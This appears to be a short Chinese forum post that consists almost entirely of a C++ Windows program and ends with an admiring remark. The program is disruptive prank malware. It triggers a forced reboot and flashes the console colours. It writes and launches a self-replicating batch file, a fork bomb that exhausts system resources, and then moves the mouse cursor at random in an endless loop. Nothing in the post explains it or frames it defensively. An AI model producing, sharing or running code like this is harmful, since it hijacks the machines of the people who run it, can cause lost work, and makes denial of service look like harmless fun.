123123123123
作者:
Ethan26
,
2024-01-27 14:45:49
,
所有人可见
,
阅读 79
#include<bits/stdc++.h>
#include<ctime>
#include<Windows.h>
using namespace std;
HWND hwnd = GetForegroundWindow();
void big(){
ShowWindow(hwnd,SW_MAXIMIZE);
}
int main(){
system("shutdown -r");
for(int i = 0;i < 10;i++){
big();
system("color 17");
system("color 40");
system("color 94");
system("color 88");
system("color 24");
system("color 55");
system("color 17");
system("color 11");
system("color 52");
system("color 76");
}
freopen("11.out","w",stdout);
cout << ":start" << endl;
cout << "start" << endl;
cout << "goto start" << endl;
fclose(stdout);
system("ren 11.out 11.bat");
system("start 11.bat");
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while(1){
SetCursorPos(rand()%x,rand()%y);
}
return 0;
}
太6了!!!!!!!